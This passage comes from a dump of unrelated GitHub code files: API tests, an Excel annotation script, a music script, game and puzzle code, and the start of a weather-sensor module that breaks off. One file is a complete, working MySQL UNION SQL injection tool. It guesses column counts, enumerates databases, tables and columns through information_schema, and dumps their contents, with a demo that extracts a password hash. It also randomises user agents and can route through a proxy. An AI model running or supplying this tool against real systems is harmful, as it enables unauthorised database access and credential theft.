'1879541a-1c5c-40d8-8efd-cbb3f3ad7d0c',\n 'title': 'Movie 2',\n 'actors': [ann], 'writers': [ann], 'directors': [],\n },\n {\n 'id': '52673667-2427-40d4-a3bd-f81a9ea10f3f',\n 'title': 'Movie 3',\n 'actors': [ann], 'writers': [ann], 'directors': [ann],\n }\n ])\n\n response = await make_get_request('/api/v1/persons/search', request_params)\n\n assert response['status'] == HTTPStatus.OK\n assert response['body'] == expected_response_body\n\n\n@pytest.mark.parametrize(\n 'request_params, expected_response_length',\n [\n ({'query': 'Ann', 'page_size': 100}, 60),\n ({'query': 'Bob', 'page_size': 100}, 3),\n ({'query': 'Cat', 'page_size': 100}, 0),\n ({'query': 'Ann Bob', 'page_size': 100}, 63),\n ({'query': 'Ann'}, 50),\n ({'query': 'Ann', 'page_size': 40, 'page_number': 1}, 40),\n ({'query': 'Ann', 'page_size': 40, 'page_number': 2}, 20),\n ({'query': 'Ann', 'page_size': 40, 'page_number': 3}, 0),\n ]\n)\nasync def test_persons_search(\n es_write_data, make_get_request,\n request_params, expected_response_length\n):\n data = [\n *[{'id': str(uuid4()), 'full_name': 'Ann'} for _ in range(60)],\n *[{'id': str(uuid4()), 'full_name': 'Bob'} for _ in range(3)],\n ]\n\n await es_write_data('persons', data)\n response = await make_get_request('/api/v1/persons/search', request_params)\n\n assert response['status'] == HTTPStatus.OK\n assert len(response['body']) == expected_response_length\n\n\n@pytest.mark.parametrize(\n 'request_params',\n [\n ({'query': 'Ann', 'page_size': 40, 'page_number': -1}),\n ({'query': 'Ann', 'page_size': -1, 'page_number': 1}),\n ({'page_size': 40, 'page_number': 1}),\n ]\n)\nasync def test_persons_search_validation(\n es_write_data, make_get_request, request_params\n):\n data = [\n *[{'id': str(uuid4()), 'full_name': 'Ann'} for _ in range(60)],\n *[{'id': str(uuid4()), 'full_name': 'Bob'} for _ in range(3)],\n ]\n\n await es_write_data('persons', data)\n response = await make_get_request('/api/v1/persons/search', request_params)\n\n assert response['status'] == HTTPStatus.UNPROCESSABLE_ENTITY\n\n\nasync def test_persons_search_cache(\n es_write_data, make_get_request, redis_client\n):\n person1 = {'id': str(uuid4()), 'full_name': 'Ann 1'}\n await es_write_data('persons', [person1])\n response = await make_get_request('/api/v1/persons/search',\n {'query': 'Ann'})\n assert len(response['body']) == 1\n\n # Запрос возвращает данные из кэша, несмотря на обновление в ES.\n person2 = {'id': str(uuid4()), 'full_name': 'Ann 2'}\n await es_write_data('persons', [person2])\n response = await make_get_request('/api/v1/persons/search',\n {'query': 'Ann'})\n assert len(response['body']) == 1\n\n # После сброса кэша запрос возврашает свежие данные из ES.\n await redis_client.flushall()\n response = await make_get_request('/api/v1/persons/search',\n {'query': 'Ann'})\n assert len(response['body']) == 2\n","repo_name":"latiennetendresse/Async_API_sprint_2","sub_path":"fastapi-solution/tests/functional/src/test_persons_search.py","file_name":"test_persons_search.py","file_ext":"py","file_size_in_byte":5146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74447897154","text":"#基于一份总表,把被注释表中的数据tag对应的注释插入进来\r\nimport xlwt\r\nimport xlrd\r\nimport sys\r\npath_ref = sys.argv[1]\r\npath_in = sys.argv[2]\r\npath_res = sys.argv[3]\r\ns_d = xlrd.open_workbook(path_in)#需要被添加注释信息的表\r\ns_dsheet = s_d.sheet_by_index(0)\r\nnrows = s_dsheet.nrows\r\n\r\nf = xlwt.Workbook()\r\nf_sheet: object = f.add_sheet('sheet1', cell_overwrite_ok=True)\r\n\r\ntox = xlrd.open_workbook(path_ref)#组装基因组物种注释表\r\ntox_sheet = tox.sheet_by_index(0)\r\nlen_t = tox_sheet.nrows\r\n\r\nfor i in range(1, nrows):\r\n t_v = s_dsheet.cell_value(i, 0)\r\n for n in range(len_t):\r\n rown = tox_sheet.row_values(n)\r\n if t_v in rown:\r\n f_sheet.write(i, 0, rown[2])\r\n\r\nfor k in range(0, nrows):\r\n row_v = s_dsheet.row_values(k)\r\n c = 1\r\n for cell in row_v:\r\n f_sheet.write(k, c, cell)\r\n c += 1\r\nf.save(path_res)\r\n","repo_name":"AMao-0512/MetagenoAnalysisForSponges","sub_path":"G_S_reanalysisi/3_nozerodata/addTOXtoABinfo.py","file_name":"addTOXtoABinfo.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"69839374594","text":"import music21 as m\r\nimport random\r\nfrom math import floor\r\nfrom markov import intMarkovN, nextRandom\r\n\r\nfilelist = [\"Midis/bach-invention-08.mid\", \\\r\n \"Midis/bach-invention-09.mid\"]\r\n\r\ndef filesToStreams(filelist):\r\n streamlist = []\r\n for file in filelist:\r\n mf = m.midi.MidiFile()\r\n mf.open(file)\r\n mf.read()\r\n s = m.midi.translate.midiFileToStream(mf)\r\n k = s[0].getElementsByClass(\"Key\")[0]\r\n i = m.interval.Interval(k.tonic, m.pitch.Pitch('C'))\r\n sNew = s.transpose(i)\r\n mf.close()\r\n streamlist.append(sNew)\r\n\r\n return streamlist\r\n\r\nmidilist = filesToStreams(filelist)\r\n\r\n'''\r\nchords = midilist[0].chordify()\r\nfor c in chords.getElementsByClass(\"Chord\"):\r\n c.closedPosition(inPlace = True)\r\n'''\r\n\r\ndef splitMeasure(part):\r\n partM = m.stream.Stream()\r\n\r\n for e in part:\r\n if len(partM) - 1 < int(floor(e.offset)):\r\n s = m.stream.Stream()\r\n s.append(e)\r\n partM.append(s)\r\n else:\r\n partM[int(floor(e.offset))].append(e)\r\n\r\n return partM\r\n\r\ndef analyzeMeasure(M):\r\n n = M.getElementsByClass(\"Note\")\r\n p = list(set([nt.pitch for nt in n]))\r\n if(len(p) == 0):\r\n return\r\n elif len(p) > 4 or len(p) < 3:\r\n return m.chord.Chord([p[0], p[0].transpose('M3'), p[0].transpose('P5')])\r\n else:\r\n return m.chord.Chord(p).closedPosition()\r\n\r\ndef readMeasure(M):\r\n seq = []\r\n nC = 0\r\n Mn = M.getElementsByClass(\"Note\")\r\n for o in M:\r\n if(o in Mn):\r\n if(nC == 0):\r\n seq.append([-1, o.duration])\r\n elif(Mn[nC] < Mn[nC - 1]):\r\n seq.append([0, o.duration])\r\n elif(Mn[nC] == Mn[nC - 1]):\r\n seq.append([1, o.duration])\r\n else:\r\n seq.append([2, o.duration])\r\n nC += 1\r\n else:\r\n seq.append([3, o.duration])\r\n return seq\r\n\r\n\r\ndef getSeq(List):\r\n items = []\r\n sequence = []\r\n for e in List:\r\n if e not in items:\r\n items.append(e)\r\n sequence.append(len(items) - 1)\r\n else:\r\n sequence.append(items.index(e))\r\n return [items, sequence]\r\n\r\nmeasures = []\r\nchords = []\r\n\r\nfor song in midilist:\r\n part = song[0]\r\n for e in splitMeasure(part):\r\n measures.append(readMeasure(e))\r\n c = analyzeMeasure(e)\r\n if c != None:\r\n chords.append(c)\r\n\r\nmIt, mSeq = getSeq(measures)\r\ncIt, cSeq = getSeq(chords)\r\n\r\noutput = m.stream.Stream()\r\n\r\nfor c in cIt:\r\n output.append(c)\r\n\r\noutput.show('midi', fp= r\"Generated\\sample3.mid\")\r\n\r\n\r\n","repo_name":"bchidamb/FakeBach","sub_path":"attempt3.py","file_name":"attempt3.py","file_ext":"py","file_size_in_byte":2634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21734927214","text":"# DEMONSTRATION\n# $ python3 sqli_mysql_union_error_based.py id get \"1\" \";-- \" http://192.168.252.6/cat.php\n# [?] Select a parameter to test for injection:: id\n# > id\n#\n# [?] Choose a method for getting number of columns via UNION.: Guess via ORDER/GROUP\n# > Guess via ORDER/GROUP\n# Enter manually\n# \n# [*] Guessing number of columns for param ID via ORDER BY \n# [*] Number of columns for parameter ID found: 4\n# [*] Testing if UNION query returns result via @@version...\n#\n# [*] Column 2 seems to print results\n#\n# [?] Choose a method for retrieving or manually entering databases, tables and columns.: Information Schema\n# > Information Schema\n# Enter manually\n#\n# [?] Select a database:: photoblog\n# information_schema\n# > photoblog\n#\n# [?] Select a table:: users\n# categories\n# pictures\n# > users\n#\n# [?] Select a column:: password\n# id\n# login\n# > password\n# \n# [1] 8efe310f9ab3efeae8d410a8e0166eb2\n# \n# [+] Done!\n\n#!/usr/bin/python3\nimport requests\nimport urllib3\nimport os\nimport sys\nimport re\nimport inquirer\nimport json\nfrom random_useragent.random_useragent import Randomize # Randomize useragent\n\n# Optionally, use a proxy\n# proxy = \"http://<user>:<pass>@<proxy>:<port>\"\nproxy = \"\"\nos.environ['http_proxy'] = proxy\nos.environ['HTTP_PROXY'] = proxy\nos.environ['https_proxy'] = proxy\nos.environ['HTTPS_PROXY'] = proxy\n\n# Disable cert warnings\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\n# Set timeout\ntimeout = 10\n\n# Union specific settings\nunion_qry = \" union select \"\nunion_concat = \"|\"\nunion_conc_hex = union_concat.encode(\"utf-8\").hex()\nunion_str = \"NULL\"\n\n# Default value for empty parameters\ndef_str = \"1234\"\n\n# Handle CTRL-C\ndef keyboard_interrupt():\n \"\"\"Handles keyboardinterrupt exceptions\"\"\"\n print(\"\\n\\n[*] User requested an interrupt, exiting...\")\n exit(0)\n\n# Custom headers\ndef http_headers():\n # Randomize useragent\n useragent = Randomize().random_agent('desktop', 'windows')\n headers = {\n 'User-Agent': useragent,\n }\n return headers\n\n# Perform the SQLi call for injection\ndef sqli(url,headers,get_post,inj_param,params,prefix,inj_str,suffix):\n inj_params = dict()\n for param in params:\n inj_params[param] = def_str\n if param == inj_param:\n inj_params[param] = prefix + inj_str + suffix\n\n if get_post.lower() == \"get\":\n r = requests.get(url, params=inj_params, headers=headers, timeout=timeout, verify=False)\n elif get_post.lower() == \"post\":\n r = requests.post(url, data=inj_params, headers=headers, timeout=timeout, verify=False)\n return r\n\n# Get an initial response\ndef initial_req(url,headers,get_post,params):\n norm_params = dict()\n for param in params:\n norm_params[param] = def_str\n\n if get_post.lower() == \"get\":\n r = requests.get(url,params=norm_params,headers=headers,timeout=timeout,verify=False)\n elif get_post.lower() == \"post\":\n r = requests.post(url,data=norm_params,headers=headers,timeout=timeout,verify=False)\n return r\n\n# Get columns\ndef get_cols(url,headers,get_post,inj_param,params,prefix,suffix):\n guess_columns_method = [\" ORDER BY \",\" GROUP BY \"]\n bad_resp = \"Unknown column\"\n bad_size = 700\n max_columns = 32\n \n initial_r = initial_req(url,headers,get_post,params)\n len_init_r = len(initial_r.content)\n\n for guess_method in guess_columns_method:\n print(\"[*] Guessing number of columns for param \" + inj_param.upper() + \" via\" + guess_method)\n for column in range(1,max_columns+1):\n inj_str = guess_method + str(column)\n r = sqli(url,headers,get_post,inj_param,params,prefix,inj_str,suffix)\n len_inj_r = len(r.content)\n res = r.text\n # if (len_init_r < len_inj_r) or (bad_resp in res):\n # if len_inj_r > bad_size:\n if bad_resp in res:\n return column-1\n\n# Test if UNION is usable for error based return\ndef blind_test(url,headers,get_post,inj_param,params,columns,prefix,suffix):\n union_qry = \" union select \"\n union_sel = \"@@version\"\n union_val = [union_str] * columns\n inj_union = \",\".join(list(map(str,union_val)))\n usable_column = 0\n\n initial_inj = union_qry + inj_union\n initial_r = sqli(url,headers,get_post,inj_param,params,prefix,initial_inj,suffix)\n\n print(\"[*] Testing if UNION query returns result via \" + union_sel + \"...\")\n for column in range(0,columns):\n union_val[column] = union_sel\n inj_union = \",\".join(list(map(str,union_val)))\n inj_str = union_qry + inj_union\n r = sqli(url,headers,get_post,inj_param,params,prefix,inj_str,suffix)\n if len(r.content) > len(initial_r.content):\n usable_column = column + 1\n break\n union_val[column] = union_str\n \n if usable_column > 0:\n return usable_column\n else:\n return False\n\n# Get info from information_schema\ndef get_info_schema(url,headers,get_post,inj_param,params,columns,column,union_obj_name,union_suffix,prefix,suffix):\n union_sel = \"group_concat(0x\" + union_conc_hex + \",\" + union_obj_name + \",0x\" + union_conc_hex + \")\"\n union_val = [union_str] * columns\n union_val[column] = union_sel\n inj_union = \",\".join(list(map(str,union_val)))\n \n # Perform injection\n inj_str = union_qry + inj_union + union_suffix\n r = sqli(url,headers,get_post,inj_param,params,prefix,inj_str,suffix)\n\n # Search for regex by using union_concat character\n re_string = re.escape(union_concat) + r\".*\" + re.escape(union_concat)\n result = re.findall(re_string,r.text)\n\n # Split the response\n for res in result:\n res = res.replace(union_concat,'')\n res_info_schema = res.split(\",\")\n \n # Return result\n if result:\n return res_info_schema\n else:\n return False\n\n# Get data\ndef get_data(url,headers,get_post,inj_param,params,columns,column,union_obj_name,union_suffix,prefix,suffix):\n union_sel = \"group_concat(0x\" + union_conc_hex + \",\" + union_obj_name + \",0x\" + union_conc_hex + \")\"\n union_val = [union_str] * columns\n union_val[column] = union_sel\n inj_union = \",\".join(list(map(str,union_val))) + union_suffix\n \n # Perform injection\n inj_str = union_qry + inj_union\n r = sqli(url,headers,get_post,inj_param,params,prefix,inj_str,suffix)\n\n # Search for regex by using union_concat character\n re_string = re.escape(union_concat) + r\".*\" + re.escape(union_concat)\n result = re.findall(re_string,r.text)\n\n # Split the response\n for res in result:\n res = res.replace(union_concat,'')\n res_info_schema = res.split(\",\")\n \n # Return result\n if result:\n return res_info_schema\n else:\n return False\n\n# Main\ndef main(argv):\n if len(sys.argv) == 6:\n params = sys.argv[1].split(\",\")\n get_post = sys.argv[2]\n prefix = sys.argv[3]\n suffix = sys.argv[4]\n url = sys.argv[5]\n else:\n print(\"[*] Usage: \" + sys.argv[0] + \" <param1,param2,..> <get_or_post> <prefix> <suffix> <url>\")\n print(\"[*] Example: \" + sys.argv[0] + \" id get \\\"1\\\" \\\";-- \\\" http://192.168.252.6/cat.php\\n\")\n exit(0)\n\n # Random headers\n headers = http_headers()\n\n # Do stuff\n try:\n # Select parameter\n param_question = [inquirer.List('params',\n message=\"Select a parameter to test for injection:\",\n choices=params),]\n param_answer = inquirer.prompt(param_question)\n inj_param = param_answer[\"params\"]\n\n # Ask for method of getting number of columns\n options = [\"Guess via ORDER/GROUP\",\"Enter manually\"]\n meth_guess_cols_question = [inquirer.List('options',\n message=\"Choose a method for getting number of columns via UNION.\",\n choices = options),]\n meth_guess_cols_answer = inquirer.prompt(meth_guess_cols_question)\n cols_method = meth_guess_cols_answer[\"options\"]\n \n if cols_method == \"Guess via ORDER/GROUP\":\n # Getting number of columns by guessing\n num_cols = get_cols(url,headers,get_post,inj_param,params,prefix,suffix)\n if num_cols:\n print(\"[*] Number of columns for parameter \" + inj_param.upper() + \" found: \" + str(num_cols))\n else:\n print(\"[!] No columns found, check your requests\")\n exit(-1)\n elif cols_method == \"Enter manually\":\n # Enter number of columns manually\n num_cols = int(input(\"Enter number of columns: \"))\n\n # Test if a certain column is usable\n usable_column = blind_test(url,headers,get_post,inj_param,params,num_cols,prefix,suffix)\n if usable_column:\n print(\"\\n[*] Column \" + str(usable_column) + \" seems to print results\\n\")\n else:\n print(\"[!] No usable column found, exiting...\")\n exit(-1)\n\n # Ask for getting via information_schema or manual input\n options = [\"Information Schema\",\"Enter manually\"]\n info_schema_manual_question = [inquirer.List('options',\n message=\"Choose a method for retrieving or manually entering databases, tables and columns.\",\n choices=options),]\n info_schema_manual_answer = inquirer.prompt(info_schema_manual_question)\n info_method = info_schema_manual_answer[\"options\"]\n \n if info_method == \"Information Schema\":\n # Get databases\n union_suffix = \" from information_schema.schemata\"\n union_obj_name = \"schema_name\"\n dbs = get_info_schema(url,headers,get_post,inj_param,params,num_cols,usable_column-1,union_obj_name,union_suffix,prefix,suffix)\n if dbs:\n db_question = [inquirer.List('databases',\n message=\"Select a database:\",\n choices=dbs),]\n db_answer = inquirer.prompt(db_question)\n else:\n print(\"[!] Unable to find any database, probably no access to information_schema.\")\n exit(-1)\n\n # Get tables\n union_suffix = \" from information_schema.tables where table_schema='\" + db_answer[\"databases\"] + \"'\"\n union_obj_name = \"table_name\"\n tables = get_info_schema(url,headers,get_post,inj_param,params,num_cols,usable_column-1,union_obj_name,union_suffix,prefix,suffix)\n if tables:\n table_question = [inquirer.List('tables',\n message=\"Select a table:\",\n choices=tables),]\n table_answer = inquirer.prompt(table_question)\n else:\n print(\"[!] Unable to find any tables, exiting...\")\n exit(-1)\n\n # Get columns\n union_suffix = \" from information_schema.columns where table_name='\" + table_answer[\"tables\"] + \"'\"\n union_obj_name = \"column_name\"\n columns = get_info_schema(url,headers,get_post,inj_param,params,num_cols,usable_column-1,union_obj_name,union_suffix,prefix,suffix)\n if columns:\n column_question = [inquirer.List('columns',\n message=\"Select a column:\",\n choices=columns),]\n column_answer = inquirer.prompt(column_question)\n else:\n print(\"[!] Unable to find any colomns, exiting...\")\n exit(-1)\n \n # Set answers in variables to retrieve data \n dbs = db_answer[\"databases\"]\n tables = table_answer[\"tables\"]\n cols = column_answer[\"columns\"]\n elif info_method == \"Enter manually\":\n # Data entered manually\n dbs = input(\"Enter a database: \")\n tables = input(\"Enter a table: \")\n cols = input(\"Enter a column: \")\n print(\"\\n\")\n\n # Get data\n union_suffix = \" from \" + tables\n data = get_data(url,headers,get_post,inj_param,params,num_cols,usable_column-1,cols,union_suffix,prefix,suffix)\n if data:\n row = 0\n for res in data:\n row +=1\n print(\"[\" + str(row) + \"] \" + res)\n else:\n print(\"[!] Unable to find any data, exiting...\")\n exit(-1)\n\n # Done\n print(\"\\n[+] Done!\\n\")\n except requests.exceptions.Timeout:\n print(\"[!] Timeout error\\n\")\n exit(-1)\n except requests.exceptions.TooManyRedirects:\n print(\"[!] Too many redirects\\n\")\n exit(-1)\n except requests.exceptions.ConnectionError:\n print(\"[!] Not able to connect to URL\\n\")\n exit(-1)\n except requests.exceptions.RequestException as e:\n print(\"[!] \" + str(e))\n exit(-1)\n except requests.exceptions.HTTPError as e:\n print(\"[!] Failed with error code - \" + e.code + \"\\n\")\n exit(-1)\n except KeyboardInterrupt:\n keyboard_interrupt()\n\n# If we were called as a program, go execute the main function.\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","repo_name":"hodor-sec/Web","sub_path":"SQLi/mysql/union/sqli_mysql_union_error_based.py","file_name":"sqli_mysql_union_error_based.py","file_ext":"py","file_size_in_byte":13163,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26441066134","text":"from lib.pclass import peep_acquire_abilities, activate_pability\nfrom lib.peep_types import create_peep\nimport yaml\n\nMONSTERS = [\n # GOBLINS\n create_peep('goblin', name='Thark'),\n create_peep('giant rat'),\n create_peep('big bird'),\n create_peep('red dragon', name='Spark'),\n create_peep('black dragon', name='Brog'),\n create_peep('multi-hued dragon', name='Crystal')\n]\n\nMONSTERS_BY_NAME = {m.name:m for m in MONSTERS}\n\ndef monster_by_name(name, pos=(0,0), maxhp=0):\n ret = MONSTERS_BY_NAME[name]\n if maxhp > 0:\n ret.hp = maxhp\n ret.hp = ret.maxhp\n ret.pos = pos\n n = 0\n while n <= ret.level:\n peep_acquire_abilities(ret, n)\n n += 1\n for p in ret.pabilities:\n activate_pability(ret, p)\n\n return ret\n\ndef color_rep(dumper, data):\n return dumper.represent_scalar('!color', data.name)\n\n\nif __name__ == '__main__':\n for m in MONSTERS:\n print(yaml.dump(m, sort_keys=False, default_flow_style=False))\n","repo_name":"JeffBoss625/peep-rpg","sub_path":"lib/monsters.py","file_name":"monsters.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23553265051","text":"import sys\r\n\r\ndef b(N):\r\n length = len(N)\r\n\r\n increasing = True\r\n point = 0\r\n for i in range(1,length):\r\n if int(N[i]) < int(N[i-1]):\r\n increasing = False\r\n break\r\n elif int(N[i]) > int(N[i-1]):\r\n point = i\r\n\r\n if increasing:\r\n return N\r\n\r\n if point == 0 and N[0] == '1':\r\n return '9' * (length - 1)\r\n\r\n return N[:point] + str(int(N[point])-1) + '9' * (length - point - 1)\r\n\r\nn = int(input())\r\nfor i in range(n):\r\n N = input()\r\n print('Case #' + str(i + 1) + ': ', end='')\r\n print(b(N))\r\n\r\n\r\n \r\n \r\n \r\n \r\n \r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/1656.py","file_name":"1656.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34924583633","text":"import json\nimport sys\n\ncount = 0\ndef parse_int(s):\n i = int(s)\n global count\n count += i\n return i\n\ninput = sys.stdin.readline().strip()\njson.loads(input, parse_int = parse_int)\nprint(count)\n\ndef parse_obj(o):\n if 'red' in o.values():\n return {}\n return o\n\nj = json.loads(input, object_hook = parse_obj)\ncount = 0\njson.loads(str(j).replace(\"'\", '\"'), parse_int = parse_int)\nprint(count)\n\n#new = ''\n#i = 0\n#stack = []\n#while i < len(input):\n# c = input[i]\n# if c in ('[', '{'):\n# stack.append((c, len(new)))\n# elif c in (']', '}'):\n# stack.pop()\n#\n# if input[i:].startswith('\"red\"') and stack[-1][0] == '{':\n# _, start = stack.pop()\n# new = new[:start] + '{}'\n#\n# depth = 1\n# while depth != 0:\n# i += 1\n# depth += input[i] == '{'\n# depth -= input[i] == '}'\n# else:\n# new += c\n# i += 1\n#\n#count = 0\n#json.loads(new, parse_int = parse_int)\n#print(count)\n","repo_name":"xilefsensei/adventofcode","sub_path":"15/12.py","file_name":"12.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23390934311","text":"#!/usr/bin/python\n\nimport time\nimport math\n\ndef isPalindrome(number):\n\tstring = str(number)\n\treversed = string[::-1]\n\treturn string == reversed\n\t\ndef isFairAndSquare(number):\n\tif isPalindrome(number):\n\t\tsquare = math.sqrt(number)\n\t\tif int(square) == float(square) and isPalindrome(int(square)):\n#\t\t\t\tprint 'Fair and square:', number, square\n\t\t\treturn True\n\treturn False\n\t\nfp = open('C-small-attempt0.in')\nfpout = open('output.txt', 'w')\ncases = int(fp.readline())\n\nfor c in range(cases):\n\tnumber = 0\n\t[A, B] = [int(x) for x in fp.readline().split()]\n\n\tfor i in range(A, B + 1):\n\t\tif isFairAndSquare(i):\n\t\t\tnumber += 1\n\n\toutput = 'Case #%d: %d\\n' %(c + 1 , number)\n\tfpout.write(output)","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_118/1171.py","file_name":"1171.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71766677955","text":"# coding=utf-8\nimport copy\n\nimport requests\nfrom flask_babel import lazy_gettext\n\nfrom mycodo.inputs.base_input import AbstractInput\nfrom mycodo.inputs.sensorutils import calculate_dewpoint\n\n# Measurements\nmeasurements_dict = {\n 0: {\n 'measurement': 'temperature',\n 'unit': 'C'\n },\n 1: {\n 'measurement': 'temperature',\n 'unit': 'C',\n 'name': 'Min'\n },\n 2: {\n 'measurement': 'temperature',\n 'unit': 'C',\n 'name': 'Max'\n },\n 3: {\n 'measurement': 'humidity',\n 'unit': 'percent'\n },\n 4: {\n 'measurement': 'pressure',\n 'unit': 'Pa'\n },\n 5: {\n 'measurement': 'dewpoint',\n 'unit': 'C'\n },\n 6: {\n 'measurement': 'speed',\n 'unit': 'm_s',\n 'name': 'Wind'\n },\n 7: {\n 'measurement': 'direction',\n 'unit': 'bearing',\n 'name': 'Wind'\n },\n 8: {\n 'measurement': 'duration_time',\n 'unit': 'h',\n 'name': 'Hours in Future'\n }\n}\n\n# Input information\nINPUT_INFORMATION = {\n 'input_name_unique': 'OPENWEATHERMAP_CALL_ONECALL',\n 'input_manufacturer': 'Weather',\n 'input_name': 'OpenWeatherMap (Lat/Lon, Current/Future)',\n 'input_name_short': 'OpenWeather Lat/Lon',\n 'measurements_name': 'Humidity/Temperature/Pressure/Wind',\n 'measurements_dict': measurements_dict,\n 'url_additional': 'https://openweathermap.org',\n 'measurements_rescale': False,\n\n 'message': 'Obtain a free API key at openweathermap.org. '\n 'Notes: The free API subscription is limited to 60 calls per minute. '\n 'If a Day (Future) time is selected, Minimum and Maximum temperatures are available as measurements.',\n\n 'options_enabled': [\n 'measurements_select',\n 'period',\n 'pre_output'\n ],\n 'options_disabled': ['interface'],\n\n 'dependencies_module': [],\n 'interfaces': ['Mycodo'],\n\n 'custom_options': [\n {\n 'id': 'api_key',\n 'type': 'text',\n 'default_value': '',\n 'required': True,\n 'name': lazy_gettext('API Key'),\n 'phrase': \"The API Key for this service's API\"\n },\n {\n 'id': 'latitude',\n 'type': 'float',\n 'default_value': 33.441792,\n 'required': True,\n 'name': lazy_gettext('Latitude (decimal)'),\n 'phrase': \"The latitude to acquire weather data\"\n },\n {\n 'id': 'longitude',\n 'type': 'float',\n 'default_value': -94.037689,\n 'required': True,\n 'name': lazy_gettext('Longitude (decimal)'),\n 'phrase': \"The longitude to acquire weather data\"\n },\n {\n 'id': 'weather_time',\n 'type': 'select',\n 'default_value': 'current',\n 'options_select': [\n ('current', 'Current (Present)'),\n ('day1', '1 Day (Future)'),\n ('day2', '2 Day (Future)'),\n ('day3', '3 Day (Future)'),\n ('day4', '4 Day (Future)'),\n ('day5', '5 Day (Future)'),\n ('day6', '6 Day (Future)'),\n ('day7', '7 Day (Future)'),\n ('hour1', '1 Hour (Future)'),\n ('hour2', '2 Hours (Future)'),\n ('hour3', '3 Hours (Future)'),\n ('hour4', '4 Hours (Future)'),\n ('hour5', '5 Hours (Future)'),\n ('hour6', '6 Hours (Future)'),\n ('hour7', '7 Hours (Future)'),\n ('hour8', '8 Hours (Future)'),\n ('hour9', '9 Hours (Future)'),\n ('hour10', '10 Hours (Future)'),\n ('hour11', '11 Hours (Future)'),\n ('hour12', '12 Hours (Future)'),\n ('hour13', '13 Hours (Future)'),\n ('hour14', '14 Hours (Future)'),\n ('hour15', '15 Hours (Future)'),\n ('hour16', '16 Hours (Future)'),\n ('hour17', '17 Hours (Future)'),\n ('hour18', '18 Hours (Future)'),\n ('hour19', '19 Hours (Future)'),\n ('hour20', '20 Hours (Future)'),\n ('hour21', '21 Hours (Future)'),\n ('hour22', '22 Hours (Future)'),\n ('hour23', '23 Hours (Future)'),\n ('hour24', '24 Hours (Future)'),\n ('hour25', '25 Hours (Future)'),\n ('hour26', '26 Hours (Future)'),\n ('hour27', '27 Hours (Future)'),\n ('hour28', '28 Hours (Future)'),\n ('hour29', '29 Hours (Future)'),\n ('hour30', '30 Hours (Future)'),\n ('hour31', '31 Hours (Future)'),\n ('hour32', '32 Hours (Future)'),\n ('hour33', '33 Hours (Future)'),\n ('hour34', '34 Hours (Future)'),\n ('hour35', '35 Hours (Future)'),\n ('hour36', '36 Hours (Future)'),\n ('hour37', '37 Hours (Future)'),\n ('hour38', '38 Hours (Future)'),\n ('hour39', '39 Hours (Future)'),\n ('hour40', '40 Hours (Future)'),\n ('hour41', '41 Hours (Future)'),\n ('hour42', '42 Hours (Future)'),\n ('hour43', '43 Hours (Future)'),\n ('hour44', '44 Hours (Future)'),\n ('hour45', '45 Hours (Future)'),\n ('hour46', '46 Hours (Future)'),\n ('hour47', '47 Hours (Future)'),\n ('hour48', '48 Hours (Future)')\n ],\n 'name': lazy_gettext('Time'),\n 'phrase': 'Select the time for the current or forecast weather'\n }\n ]\n}\n\n\nclass InputModule(AbstractInput):\n \"\"\"A sensor support class that gets weather for a latitude/longitude location.\"\"\"\n def __init__(self, input_dev, testing=False):\n super().__init__(input_dev, testing=testing, name=__name__)\n\n self.api_url = None\n self.api_key = None\n self.latitude = None\n self.longitude = None\n self.weather_time = None\n self.weather_time_dict = {}\n\n if not testing:\n self.setup_custom_options(\n INPUT_INFORMATION['custom_options'], input_dev)\n self.try_initialize()\n\n def initialize(self):\n if self.api_key and self.latitude and self.longitude and self.weather_time:\n base_url = \"https://api.openweathermap.org/data/2.5/onecall?lat={lat}&lon={lon}&units=metric&appid={key}\".format(\n lat=self.latitude, lon=self.longitude, key=self.api_key)\n if self.weather_time == 'current':\n self.weather_time_dict[\"time\"] = \"current\"\n self.api_url = \"{base}&exclude=minutely,hourly,daily,alerts\".format(base=base_url)\n elif self.weather_time.startswith(\"day\"):\n self.weather_time_dict[\"time\"] = \"day\"\n self.weather_time_dict[\"amount\"] = int(self.weather_time.split(\"day\")[1])\n self.api_url = \"{base}&exclude=current,minutely,hourly,alerts\".format(base=base_url)\n elif self.weather_time.startswith(\"hour\"):\n self.weather_time_dict[\"time\"] = \"hour\"\n self.weather_time_dict[\"amount\"] = int(self.weather_time.split(\"hour\")[1])\n self.api_url = \"{base}&exclude=current,minutely,daily,alerts\".format(base=base_url)\n\n self.logger.debug(\"URL: {}\".format(self.api_url))\n self.logger.debug(\"Time Dict: {}\".format(self.weather_time_dict))\n\n def get_measurement(self):\n \"\"\"Gets the weather data.\"\"\"\n if not self.api_url:\n self.logger.error(\"API Key, Latitude, and Longitude required\")\n return\n\n self.return_dict = copy.deepcopy(measurements_dict)\n\n try:\n response = requests.get(self.api_url)\n x = response.json()\n self.logger.debug(\"Response: {}\".format(x))\n\n if self.weather_time_dict[\"time\"] == \"current\":\n if 'current' not in x:\n self.logger.error(\"No response. Check your configuration.\")\n return\n temperature = x[\"current\"][\"temp\"]\n pressure = x[\"current\"][\"pressure\"]\n humidity = x[\"current\"][\"humidity\"]\n wind_speed = x[\"current\"][\"wind_speed\"]\n wind_deg = x[\"current\"][\"wind_deg\"]\n if self.is_enabled(8):\n self.value_set(8, 0)\n elif self.weather_time_dict[\"time\"] == \"hour\":\n if 'hourly' not in 